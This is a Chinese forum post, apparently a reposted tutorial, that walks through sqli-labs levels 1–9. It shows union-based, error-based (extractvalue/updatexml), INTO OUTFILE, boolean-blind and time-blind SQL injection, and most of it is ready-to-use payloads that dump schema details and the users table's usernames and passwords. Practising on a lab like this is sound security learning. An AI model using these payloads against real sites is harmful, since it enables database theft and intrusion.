• 售前

  • 售后

热门帖子
入门百科

我在sql-labs平台得到这篇秘籍后,sql注入从小白迈进了筑基期

[复制链接]
123457595 显示全部楼层 发表于 2022-1-12 18:08:40 |阅读模式 打印 上一主题 下一主题
最基础sqli-labs平台sql注入语法讲解


文章目录



最近也是沉迷于学习sql注入,越是了解越是发现其中的奥妙与乐趣,在这篇文章中主要是以sqli-labs平台的前十关为例子,记录一些sql注入方面的基础知识,方便以后sql注入的深入学习。
一、sql注入的简单介绍

sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,而且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作。也就是说,只要满足两个条件,即可以判段存在sql注入漏洞:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的。
2.参数带入数据库查询:传入的参数拼接到sql语句中,且带入数据库查询。
通白一点讲,就是我们自己构造的sql语句中,参数对于数据库是有意义的,可以收到响应的。
下面的一些内容需要我们记住:
1.在mysql5.0版本后,mysql数据库中存放着一个“information_schema”的数据库,在该库中有三个表,分别是SCHEMATA、TABLES和COLUMNS。


  • schemata表存放着该用户创建的所有数据库的库名,在该表中记录数据库库名的字段名为schema_name,如图:

  • tables表中存放着用户创建的所有数据库的库名和表名,记录数据库库名和表名的字段名分别为table_schema和table_name,如图:

  • columns表中存放着用户创建的所有数据库的库名,表名和字段名,而该表中记录数据库库名、表名和字段名的字段名分别为table_schema、table_name和column_name,如图:

2.几个函数的作用需要记住:


  • database():返回当前网站使用的数据库库名。
  • version():返回当前mysql数据库的版本。
  • user():返回当前mysql的用户的用户名。
  • @@version_complie_os:返回当前操作系统类型。
二、sqli-labs平台的搭建

见另一篇文章《wampserver下sql注入平台sqli-labs的搭建》
二、实验

1.Less-1(single quotes)

提示说到这是一个单引号注入,什么是单引号注入?简单的说,就是传入的参数被一对单引号包围了。
以下面这条PHP语句为例:
  1. <code>$query="select * from tables where id = $_get['id'];
复制代码
这条语句是通过get方法获取我们写入的参数id,然后再根据参数id执行其它语句,当我们传入参数id=1时,那么这条语句的实际执行为
  1. <code>select * from users where id = '1';
复制代码
但是当我们在id=1后加入单引号后,明显语句变为
  1. <code>select * from users where id = 'id'';
复制代码
那么,就会因识别不了参数id而提示语法错误或语法不匹配的信息。来到sqli-labs平台看一下。
当输入?id=1时,页面显示正常

当我们加一个单引号,输入?id=1’时,页面提示在“1”处使用正确的语法

当我们在后面再加一个“–+”时,页面又恢复正常。在这里“–+”就是注释符号,将后面的单引号和其它信息注释掉了,在语句中和我们输入的单引号共同组成一对单引号,所以页面正常显示。
我们知道在mysql语句中,“#”,“–”都可以表示注释,但是在sqli-labs平台中,只有“–+”能作为注释符号直接使用,原因可以阅读文章《sql注入中的–+注释问题探索》

(好嘞,废话说完了下面开始干活了)
我们可以很明显的看到,Less-1是将数据输出到页面的,所以我们可以使用union注入的方式
执行下面这条语句,发现页面和?id=1的结果一样。
  1. ?id=1'order by 1--+
复制代码

解释一下:这条语句的意思就是查询当前表中id为1的数据,并按第一字段排序。那么反过来想,当我们访问的字段不存在时,页面会报错,也就是说我们可以通过这条语句查询当前表的字段数。
再次输入语句,页面也是和?id=1的页面一样,所以存在第三字段
  1. ?id=1'order by 3--+
复制代码

输入语句,显示未知字段的错误,所以得出结论,当前表存在三个字段。
  1. ?id=1'order by 4--+
复制代码

知道了表中的字段数,还要知道哪些字段是可以回显到页面上的,执行下面的语句
  1. ?id=-1'union select 1,2,3--+
复制代码
在这里,由于代码只返回第一条结果,即id=1的内容,所以页面上不会显示union select获取的结果,所以我们需要将前面id的值设为空或者数据库中没有的id的值,比如-1。这样就会返回union select的结果了。

可以看到,返回的结果为2和3,意味着在原语句中第二、三字段的内容可以回显到页面上,所以在union select 1,2,3中,2和3的位置可以输入sql语句。
于是可以使用下面的语句得到当前数据库是“security”
  1. ?id=-1'union select 1,2,database()--+
复制代码

知道了数据库security,下面要想办法知道这个数据库下的表都有什么,可以用这条语句,可以得到emails,referers,uagents,和users这四张表:
  1. ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
复制代码

解释一下这条语句的意思:
前面提到在information_schema数据库下存在着一张tables表,表中存放着用户创建的所有数据库库名和表名,而之前知道了当前数据库为security,所以只需要在tables表中使用查询语句查询table_schema字段也就是数据库名为security的对应表名。(下面用到的语句也都大同小异)

还有一点就是用到了group_concat()这个函数,它的作用通白一点将,就是将同一列的内容连接起来并当成一个字符串返回。为什么要用到这个函数呢?因为在原语句中,只会返回第一个字符串,也就是说,如果把这个函数去掉的话,页面只会打印“emails”这个表,那么加上了这个函数后,它将这一列都当成了一个字符串返回,所以就可以看到所有的表了。
在得到的表中有一张users表,很明显可以猜测这张表中存放着我们想要得到的用户名和密码,所以我们可以使用下面的语句查询该表中的字段名
  1. ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码

爆出来字段名为“id”,“usename”,“password”,目的达成了!
使用下面这个语句:
  1. ?id=-1'union select 1,group_concat(username),group_concat(password) from security.users--+
复制代码

2.Less-2(intiger based)

根据提示,Less-2是一个数值型注入漏洞,那么什么是数值型注入呢?可以这样理解:
原语句类似于下面这条语句,就是说参数id不再被引号所闭合
  1. <code>select * from users where id = $id;
复制代码
当我们传入参数时,所传入的参数必须是一个数值或者是一个被引号所闭合的数值,才不会出现语法错误,例如传入?id=1或者?id=’1‘均不会报错,如果原语句是单引号注入的话,传入?id='1’会发生报错。那么应该如何有效的区分单引号注入和字符型注入呢?


  • 对于单引号注入,只要我们传入的参数能使原语句中的引号形成有效的闭合,且闭合引号内的数值是有效的,就不会出现语法错误。利用这个思想可以使用下面的语句:
  1.   ?id=1'and '1'='1
复制代码

这条语句在原语句中的实际执行为
select * from users where id=‘1’and’1’=‘1’;
很明显并没有语法错误,因为1=1为真,而where语句中的id=1也是真,所以页面会返回和id=1相同的结果。 如果传入这个参数:
  1.   ?id=1'and'1'='2
复制代码

页面并没有显示任何内容,或者说显示了与id=1不同的内容,但是同样不会报错。
在经过上面两条语句测试后,如果成立,就是单引号注入。


  • 对于数值型注入,我们传入的参数不应有任何的引号或者传入被引号闭合的参数,那么就不会发生语法错误,利用这个思想可以用下面两条语句测试:
  1. ?id=1 and 1=1
复制代码

  1. ?id=1 and 1=2
复制代码

如果满足以上两个语句的测试结果,则可以判断为数值型注入。相应的我们也可使用?id='1'and'1'='1'和?id='1'and'1'='2'这两条语句进行测试,效果一样。
(下面开始干活emo~)
还是使用union联合的方式进行注入实验,其实和上面单引号注入一样,只是在传入参数是不要加单引号就行了,所以可以使用下面的语句
  1. ?id=1 order by 3--+
复制代码

  1. ?id=1 order by -4-+
复制代码

确定还是三个字段
然后
  1. ?id=-1 union select 1,2,3--+
复制代码

(还是啰嗦一句,因为数值型注入不会受到后面引号的影响,所以在这里的注释符“–+”也可以省略)
  1. ?id=-1 union select 1,2,database()--+
复制代码

  1. ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
复制代码

  1. ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码

  1. ?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
复制代码

3.Less-3(single quotes with twist)

根据提示这是一个被括号闭合的单引号注入,通过下面这条语句可以很清楚的理解这个注入类型。
  1. <code>select * from users where id =('$id')
复制代码
所以说,当我们输入参数id时,既要保证单引号的闭合,还要帮助括号的闭合。
例如,当我们输入?id=1'以及?id=1'--+均会报错,并且在我们输入?id=1'时页面很明显的提示在“1”)附近出现语法错误。

而当输入?id=1')--+时,页面就不会报错。这可以作为推断该类型注入的依据。

至于实验过程,与上面两个实验的语句并无太大差别,只需要秉承引号和括号闭合的原则,即在引号后面再加一个单括号就行了。
  1. ?id=1')order by 3--+
  2. ?id=1')order by 4--+
复制代码


  1. ?id=-1')union select 1,2,database()--+
复制代码

  1. ?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
复制代码

  1. ?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码

  1. ?id=-1')union select 1,group_concat(username),group_concat(password) from users--+
复制代码

4.Less-4(double quotes)

根据提示,这是一个双引号注入,那么原语句应该类似是
  1. <code>select * from users where id="$id"
复制代码
所以说当我们输入?id=1"时会报错,但是报的确是在"1"") LIMIT 0,1’ 附近有语法错误,所以猜测,原语句中,参数在被双引号闭合的同时又被一对括号闭合,那么在当我们输入?id=1"--+时同样也会报错,因为这样会使括号不闭合

猜测正确

所以说,在后台原语句应该类似于这样
  1. <code>select * from users where id=("$id")
复制代码
那么注入过程就好说了,和上面的几个一样,就是在id=1后面加一个双引号和单括号就行了
  1. ?id=1")order by 3--+
  2. ?id=1")order by 4--+
  3. ?id=-1")union select 1,2,3--+
  4. ?id=-1")union select 1,2,database()--+
  5. ?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  6. ?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
  7. ?id=-1")union select 1,group_concat(username),group_concat(password) from users--+
复制代码
其实上面四个可以分为两大类,一个是字符型注入,一个是数值型注入,但是归根到底还是参数闭合的问题。
5.Less-5(double injection-single quotes)

输入?id=1

(额…苦瓜脸)
页面是正常显示了,诶?但是就不在页面上返回正确结果,气不气…
没办法,只能接着试一试了。。
试着输入?id=1'

呀呵!它报错了,还告诉了你错误语法的位置(看到光了!)
其实提示已经告诉我们了,这一关是一个双查询注入,说白了就是带有select子查询语句的select查询语句,具体的讲的话,不是一两句话能说的明白的,网上有很多资料,可以自行去查阅,而且小编也没有全部整理明白(麻了…)。
至于解决方法的话,刚刚我们可以看到它只会回显报错信息,所以在这里我们可以使用报错注入的方法进行攻击。
报错注入攻击就是将查询语句融合到错误语句处,使得查询结果可以通过报错提示,显示到页面中。
其实报错注入的方法有很多种(里面的水很深…),其中最常见也是最多使用的是利用Xpath语法错误和concat+rand()+group_by()导致的主键重复两种方法,这里只介绍其中之一也是最简单容易掌握的Xpath语法错误的方法。

Xpath语言即为xml路径语言,是指一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言。它的表达式一般为‘/x/xx/xxx’这个样子,其实就是类似于计算机中的文件路径,只不过这个的意思是在xml文档中的某结点的路径。
extractvalue()函数:使用 XPath 表示法从 XML 字符串中提取值。说白了就是根据Xpath路径,在xml文档里找到相应的节点,解析xml字符串并返回解析后的字符串。
extractvalue(xml_frag, xpath_expr)有两个参数,第一个参数xml_frag是指一段xml标记片段,它的格式是string。而第二个参数xpath_expr就是一个xpath表达式,即xml文档里的路径。其中第一个参数可以传入xml文档,第二个参数不能传入,用来当作查找路径。
那么来了,咋们要动手脚的地方就是这个xpth表达式。在正常使用extractvalue()函数时,xpath表达式本应该是“/x/xx/xxx”类似的。但是,如果第二个参数不是这样的格式,那么页面就会报错,并返回查询的结构。
正常的extractvalue()函数使用方法:
  1. <code>select extractvalue('参数1‘,’/x/xx');
复制代码
注入的paload:
  1. <code>select extractvalue(‘参数1’,concat ('~','查询语句'));
复制代码
这里利用了concat函数将一非“/"字符和查询语句连接在一起,那么就破坏了应该的xpath格式,这样就会报错了。如果不用一个非”/“字符连接的话,函数还是直接将查询语句默认为xpath格式。
(好嘞言归正传,下面进入正题)

获取当前数据库名:
  1. ?id=1'and extractvalue(1,concat('~',(select database())))--+
复制代码
在这里第一个参数不一定用“1”,用2,3,4,a,asda等都行,只要是string格式的字符串就行。第二个参数也不一定非要用”~“,其它非”/"的字符都行,比如用“!”一样。

获取表名:
  1. ?id=1'and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
复制代码

获取字段名:
  1. ?id=1'and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')))--+
复制代码

注意在这里有一点我们需要弄清楚。我们可以看到,通过上面那条payload得到的查询结果中,页面并没有返回所有的内容,可以数一数,刚刚好32位字符。这是因为extractvalue()函数能查询的字符串长度最多为32位,也就是只返回前32位。所以说,我们要想获得全部的查询结构,只能将查询结构分段,每段32位,然后再通过extractvalue()函数返回。我们可以使用substring函数,mid函数,limit函数等,在这里我们简单介绍一下substring函数。
substring(参数1,参数2)
参数1:要提取子字符串的字符串
参数2:提取的子字符串的开始位置
作用:从一个字符串中提取一段子字符串
例如,我们要从字符串“abcde”中提取子字符串“cde”
  1. <code>substring('abcde',3)
复制代码
于是乎,不就有了嘛
  1. <code>substring('查询语句',1)
复制代码
按照这个想法,那么我们就可以将payload改进一下。
  1. ?id=1'and extractvalue(1,concat('~',substring((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1),'~'))--+
复制代码

在这条payload中,在使用concat函数时,还在查询结果的末尾连接了一个“~”字符,这个字符可以用来作为查询结果结束的标记。
那么用户名和密码也就有了
  1. ?id=1'and extractvalue(1,concat('~',substring((select group_concat(username) from users),1),'~'))--+
复制代码

  1. ?id=1'and extractvalue(1,concat('~',substring((select group_concat(password) from users),1),'~'))--+
复制代码


利用Xpath语法错误注入的方式还有一个函数,updatexml()函数
updatexml(参数1,参数2,参数3)
作用:用来更新xml文档中的片段
参数1:需要操作的片段,string格式
参数2:Xpath路径
参数3:查找替换的数据
这个函数的注入和extractvalue一样,都是对xpath做手脚,下面给出了它的payload:
  1. ?id=1'and updatexml(1,concat('~',substring(database(),1),'~'),1)--+
  2. ?id=1'and updatexml(1,concat('~',substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1),'~'),1)--+
  3. ?id=1'and updatexml(1,concat('~',substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1),'~'),1)--+
  4. ?id=1'and updatexml(1,concat('~',substring((select group_concat(username)from users),1),'~'),1)--+
  5. ?id=1'and updatexml(1,concat('~',substring((select group_concat(password)from users),1),'~'),1)--+
复制代码
6.Less-6(double injection-double quotes)

这同样是双查询注入,只不过于与上面不同的是它的参数是被双引号闭合的。还是使用报错注入,下面直接给出了payload。
  1. ?id=1"and extractvalue(1,concat('~',substring(database(),1),'~'))--+  //库名
  2. ?id=1"and extractvalue(1,concat('~',substring((select group_concat(table_name)from information_schema.tables where table_schema=database()),1),'~'))--+  //表名
  3. ?id=1"and extractvalue(1,concat('~',substring((select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),1),'~'))--+   //列名
  4. ?id=1"and extractvalue(1,concat('~',substring((select group_concat(username) from users),1),'~'))--+  //用户名
  5. ?id=1"and extractvalue(1,concat('~',substring((select group_concat(password) from users),1),'~'))--+  //密码
复制代码
7.Less-7(dump into outfile)

先输入id=1试试
额…可以看到同样不会将正确结果返回页面,但是还多了一个use outfile的提示,让我们使用outfile语法。
再试试?id=1'

可以看到它报错了,还提示了错误位置。那么就然如此就仍然可以使用报错注入。
但是,这一关应该是不会提示错误位置的,因为之前在搭建平台的时候说过,wamp的版本已经不再支持php5旧版本,所以是在gitcode网站上下载的大佬改好的php7版本的sqli。至于这里的话,应该是大佬修改的时候没有注意吧。所以,在这一关也可以继续练习一下报错注入,但是我们最主要的还是根据提示使用outfile语法。(这里的提示信息当作没看见哈…嘘…)
先简单介绍一下outfile语法的使用
  1. <code>select ····· into  outfile '路径'
复制代码
outfile的作用就是将数据导出到服务器文件或者导出到指定的位置。
刚才说到,这一关应该是正确结果与错误位置都看不到才对,那么在页面上看不到,我们可以将查询结果导出到另外的一个文件中,再浏览不就行了吗。思路有了,那么开始干活。

首先我们得要清楚参数的闭合情况,这样我们才能写入查询语句嘛。没别的好办法,只能慢慢尝试。
先看看是不是单引号闭合的?id=1'and '1'='1

可以看到页面显示正常,那么再加个注释看看?id=1'and '1'='1--+

页面提示语法错误了,那么八成就是单号闭合的了。
再看看还有没有其它闭合?id=1'--+

报语法错误了,说明在单引号外面又被包了一层。
接着猜测在单引号外面又有一层小括号,所以?id=1')and ('1')=('1

页面正常显示,那么再注释掉后面?id=1')and ('1')=('1--+

报语法错误了。en…那就是又包了一层小括号呗。
真的没有了了嘛?再看看呗…?id=1')--+

报语法错误了…麻了…还有…
这里再盲猜一手小括号?id=1'))and(('1'))=(('1

页面显示正常了,哎呀妈呀,我猜的可真准,哈哈哈哈哈哈。
再再注释掉?id=1'))and(('1'))=(('1--+

报语法错误了,又来了,再再看看外面还有没有呗?id=1'))--+

太棒了,终于不报错了,看来参数就是被一个单引号两个小括号闭合了(('id'))
(哎呀妈呀,我真棒,一猜一个准。别问我为啥这么厉害,因为我只是个传说。。。。)
咳咳,其实咱们在现实中猜测参数闭合情况时,如果没有其它提示信息,那么也就只能像这样一个一个尝试了。
(下面就开始使用outfile进行注入攻击了,想得美,不告诉你,还有一点知识需要我们弄明白…)
在使用outfile之前,有两个参数的作用及配置:
(1)secure_file_priv:用来限制的导入导出,也可以理解为数据导入导出的默认目录


  • secure_file_priv的值为null时:表示限制数据库不允许导入导出
  • 当secure_file_priv的值为特定目录时:该目录为数据库导入导出数据的默认目录,也就是说,导入数据只能从该目录导入,而导出数据也只能导出到这个目录中。
  • 当secure_file_priv的值没有具体值时:表示不对数据库的导入导出做限制
(2)datadir:指定MySQL的数据文件的存放目录,数据库文件即我们常说的 mysql data 文件。当secure_file_priv为空不对数据库导入导出做限制时,如果我们在导出数据且没有指明具体目录时,数据文件会默认存放在data目录下的当前数据库文件中。
(好,我们来具体看一下.)
由于Less-7不能显示查询结果,所以我们从Less-1中查询一下这两个参数的值
  1. ?id=-1'union select 1,@@secure-file-priv,@@datadir--+
复制代码

这里显示出了datadir的路径,还可以看到secure_file_priv的值为一个指定的目录"D:\wmap\tmp",也就是说如果我们在导出数据时,没有导出的这个路径,那么是会报错的,我们来看一眼。
  1. ?id=-1%27union select 1,2,database() into outfile 'database.php'--+
复制代码

报了“The MySQL server is running with the --secure-file-priv option so it cannot execute this statement”的错误。那我们再将文件保存到"D:\wmap\tmp"试试。
  1. ?id=-1%27union select 1,2,database() into outfile 'D:\\wmap\\tmp\\database.php'--+
复制代码
注意在代码中的路径要用双斜杠或者反斜杠

保存成功了。
如果说不想保存到这个目录中,我们可以把secure_file_priv的值设置为空。修改secure_file_priv和datadir的值在不同的环境中方法不一样,这里只介绍在wamp环境下。
在windows中修改这两个参数的值,都在配置文件my.ini中。

在文件中找到secure_file_priv,注释掉原来的值,然后将该参数设置为空,如下:

保存后,重启一下MySQL服务器就行了。
如果想修改一下datadir的值,同样也是在该配置文件中,这里就不作修改了。

这样就可以将数据导出到任何目录中了。
  1. ?id=-1'union select 1,2,database() into outfile'c:/database.php'--+
复制代码


好,下面就可以过第七关了
有用前面机关中,这个平台的数据库结果基本被我们摸清了,所以在这里就直接查询用户名密码了
  1. ?id=-1')) union select 1,2,group_concat(username) from users into outfile 'c:/users.php'--+
复制代码

我们可以看到,虽然页面仍然报语法错误,但是在c盘处以及创建了users.php文件,保存了用户名信息。

同理,密码信息也是:
  1. ?id=-1')) union select 1,2,group_concat(password) from users into outfile 'c:/password.php'--+
复制代码

8.Less-8(blind-boolian based-single quotes)

先?id=1试试水

额…还是没有返回查询结果啊
再加个单引号试试?id=1'

好家伙,啥都没有了…
再把单引号后面注释掉看看??id=1'--+

页面又正常了,那这八成是个单引号闭合的参数了
经过前面几关介绍的方法最后可以确定,这就是一个单纯的单引号闭合参数。但是它正确的查询结果和错误提示均不返回页面。又麻了…
再试试?
  1. ?id=1'and '1'='1
复制代码

  1. ?id=1'and '1'='2
复制代码

  1. ?id=-1
复制代码

好吧,最终可以确定,页面只有两种状态,当语句正确且能查询到结果时,页面返回“you are in …"。当语句错误或者查询不到结果时,页面不返回任何信息。
其实最简单的方法,还是和第7关一样,使用outfile语句将查询结果导出到外部文件中。但是,在这一关主要还是介绍一种新的注入方式——布尔型盲注。
什么是布尔型盲注,是指在页面没有返回信息,只有正确和错误两种形态时(比如说现在),通过构建逻辑表达式的sql语句来判断数据的具体内容。
说白了就是所有数据全靠你猜,然后页面只会告诉你"是"与”不是“。
先介绍几个函数:


  • length() :返回字符串长度
  • count():返回返回查询语句检索到的行中非NULL值的数目。
  • substr() :截取字符串(其实和上面用到的substring一样,所以说在这里使用substring也行)
    例如:substr(abcdef,3,2) :返回”cd“,从第三个字符c开始,长度为2,所以是”cd“。
  • mid() :截取字符串的一部分值(和substr用法一样)
  • left() :截取字符串左边的几个字符 例如:left(abcdef,3) 返回”abc“
  • ascii():返回字符串最左边的字符也就是第一个字符的ASCII值
  • ord():返回一个字符的ASCII码值
  • chr():将ASCII码值转化为字符串
  • limit:这也是一个sql语句中比较重要的函数,具体讲的话,还得要嘚嘚一大堆,在这里只是提一下简单的使用,具体的用法还是要去网上另行查阅。
    例如:select * from users limit 0,1 //检索查询结果的第一行。limit
    a,b后面的两个参数a和b都必须是整数,a是指检索的开始位置,但是与substr不同的是,limit的下标是从0开始的,而substr是从1开始的。b则是指简述的长度。
上面这些函数都可以应用到盲注当中去,当然,在这里并不会全部用到,使用其中的几个就够了。
(话不多说,下面开始整活了…)

判断数据库长度
  1. ?id=1' and length(database())>6 --+
复制代码

页面有回显,证明数据库名长度大于6
  1. ?id=1' and length(database())>8 --+
复制代码

没有回显,证明数据库名长度小于等于8
  1. ?id=1' and length(database())>7 --+
复制代码

有回显,证明数据库名长度大于7小于等于8,所以就应该是8了

知道数据库名长度是8了,那么下面就要猜解数据库名了
  1. ?id=1'and left(database(),1)>'q'--+
复制代码

有回显,证明数据库名的第一个字母大于“q”。
  1. ?id=1'and left(database(),1)>'s'--+
复制代码

没回显,证明数据库名的第一个字母小于等于”s”
  1. ?id=1'and left(database(),1)>'r'--+
复制代码

有回显,证明数据库名的第一个字母大于“r",小于等于“s",那就应该是”s“了。
  1. ?id=1'and left(database(),1)='s'--+
复制代码

知道了第一个字母是“s“,那么下面接着猜解第二个字母,由于我在这里使用的是left函数,所以就有了下面的payload。
  1. ?id=1'and left(database(),2)>'sd'--+
复制代码

有回显,证明数据库的第二个字母大于”d“
  1. ?id=1'and left(database(),2)>'se'--+
复制代码

没回显,证明第二个字母小于等于“e”,那就应该是“e”没跑儿了
  1. ?id=1'and left(database(),2)='se'--+
复制代码

同样的道理,直到最后可以尝试出数据库的名字为“security”。
那下面就开始解表名了。
首先要尝试出security数据库中一共有多少个表
  1. ?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >2--+
复制代码

有回显,证明该数据库下的表数大于2
  1. ?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >4--+
复制代码

没回显,证明表数小于等于4
  1. ?id=1'and (select count(table_name) from information_schema.tables where table_schema=database()) >3--+
复制代码

有回显,证明表数大于3,小于等于4。那就应该是4了
  1. ?id=1'and (select count(table_name) from information_schema.tables where table_schema=database())=4--+
复制代码

知道security数据库下有4张表,还要知道每张表的表名长度。一个个的试吧。
  1. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5--+
复制代码

有回显,证明第一张表的表名长度大于5
  1. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6--+
复制代码

没有回显,证明第一张表的表名长度小于等于6,那就是6了
  1. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
复制代码

   在这里使用length()函数时,要留意一下是两个小括号,一个小括号是length()函数本身的,一个小括号是将select查询语句括起来作为一个整体。
  同理,可以依次试出剩下三张表的表名长度为8,7,5,至于过程一样,就是改变一下limit的第一个参数就行了。
  1. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
  2. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7--+
  3. ?id=1'and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5--+
复制代码
知道每一张表的表名长度了,那么就要猜解表名了,还是一个一个试呗(麻爪了…)
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'d'--+
复制代码

有回显,证明第一个表的名子的第一个字母大于“d”
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'e'--+
复制代码

没有回显,证明第一个表的名字的第一个字母小于等于“e”,那就应该是“e”了。
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+
复制代码

剩下的就慢慢试…直到试出第一张表的名字为“emalis”
下面试第二张表。
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)>'q'--+
复制代码

有回显,第二张表的第一个字母大于“q”
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)>'r'--+
复制代码

没回显,第二章表的第一个字母大于“q”小于等于“r”,那就是“r”了
  1. ?id=1'and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'--+
复制代码

同样的方法,一直尝试出第二张表表名为“referers”,第三张表表名为“uagents”,第四张表表名为“users”。
好了,users表出来了,下面猜解users表的列名了
还是原来的过程,下面的就不再写出猜测过程,而是直接写出最后的猜测结果。先猜解出该表中出一共有3列
  1. ?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=3--+
复制代码

下面猜解每一列的列名长度
过程和之前一样,这里我就不多说了,尝试出后,每列的列名长度分别为2,8,8
  1. ?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2--+
  2. ?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8--+
  3. ?id=1'and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8--+
复制代码
(还好列名不多…)
那么同样的方法,我们可以尝试得到这三列的列名分别为"id",“username”,“password”
  1. ?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),2)='id'--+
  2. ?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username'--+
  3. ?id=1'and left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password'--+
复制代码
(坚持住,马上就要成功了…)
下一步,尝试出用户字段和密码字段的数据的行数
  1. ?id=1'and (select count(username) from users)=13--+
  2. ?id=1'and (select count(password) from users)=13--+
复制代码
下一步,尝试出每一行数据的长度,就可以猜解出数据了。以第一行数据为例:
可以猜解出第一个用户名密码都是“dumb”
  1. ?id=1'and length((select username from users limit 0,1))=4--+
  2. ?id=1'and length((select password from users limit 0,1))=4--+
  3. ?id=1'and left((select username from users limit 0,1),4)='dumb'--+
  4. ?id=1'and left((select password from users limit 0,1),4)='dumb'--+
复制代码
按照这个猜解过程,可以尝试出所有的用户名和密码,可以感觉到纯手工布尔盲注的话还是非常消耗精力的。所以在现实中我们可以借助其它自动化工具,或者可以使用burp suit帮助爆破,或者可以使用python脚本等,这里就不再介绍了,感兴趣的可以在网上查阅资料。
9.Less-9(blind-time based-single quotes)

这一关的话,我们发现无论语法错误与否,它的页面都是返回“you are in…”,很显然之前的方法就不能用了。那么在这里就要引入一个新的注入方法了——时间盲注。
时间盲注就是通过输入时间敏感性的语句,通过页面的反应时间来判断查询结果的正确与否。比如说如果查询结果正确,则页面会有显著延迟;如果查询结果不正确,那么页面正常显示。其实这和布尔型盲注类似,只不过判断查询结果正确与否的方法变成了页面的延迟与否。说白了,还是靠你聪明的头脑来猜啊…
简单介绍两个会用到的函数:


  • sleep(n):可以让语句的运行时间增长n秒钟。
  • if(expr1,expr2,expr3):如果expr1是TRUE,则if()函数的值返回expr2,否则返回expr3。
那么这两个简单的函数,便构成了我们时间型注入的核心。
其实通过提示或者查看源码,都能知道这是一个单引号闭合的参数,那要是在现实生活中不知道呢?那就是试呗…在前面已经说过,当没有任何提示信息时,如何尝试出参数的闭合情况,在这里只不过是把那些尝试的查询语句放到if()函数里作为参数就行了,过程就不多说了,其实payload也一样,就是将判断语句放到if()函数里,下面就直接上payload了。
  1. ?id=1' and if(length(database())>7,sleep(6),1)--+
复制代码

可以看到页面运行延迟了6秒钟,所以上面的判断语句正确,证明数据库名长度大于7。
  1. ?id=1'and if(length(database())>8,sleep(6),1)--+
复制代码

看到页面延迟明显小于1秒钟,故上面的判断语句不正确,所以数据库名长度小于等于8,则数据库名长度等于8。
  1. ?id=1'and if(left(database(),1)>'r',sleep(6),1)--+
复制代码

payload运行时间延长了6秒,所以上面的select判断语句正确,则数据库名的第一个字母大于“r”
  1. ?id=1'and if(left(database(),1)>'s',sleep(6),1)--+
复制代码

看到页面延迟明显小于1秒,所以上面select判断语句不正确,则数据库名第一个字母大于“r”,小于等于“s”,故数据库名第一个字母为“s”
同理可得数据库名为“security”
  1. ?id=1'and if(left(database(),8)='security',sleep(6),1)--+
复制代码

包括下面的猜解表名,字段名以及数据的过程和上面的方法一样,就不再详细讲解。
  1. ?id=1'and if((select count(table_name)from information_schema.tables where table_schema=database())=4,sleep(6),1)--+   //猜解security数据库下表的数目
  2. ?id=1'and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1 ))=5,sleep(6),1)--+  //判断users表的表名长度
  3. ?id=1'and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(6),1)--+  //猜解users表名
  4. ?id=1'and if((select count(column_name)from information_schema.columns where table_schema=database() and table_name='users')=3,sleep(6),1)--+ //判断users表下的列数
  5. ?id=1'and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1))=8,sleep(6),1)--+ //判断username字段名的长度
  6. ?id=1'and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1))=8,sleep(6),1)--+ //判断password字段名的长度
  7. ?id=1'and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),8)='username',sleep(6),1)--+   //判断第二列的列名
  8. ?id=1'and if(left((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1),8)='password',sleep(6),1)--+   //判断第三列的列名
复制代码
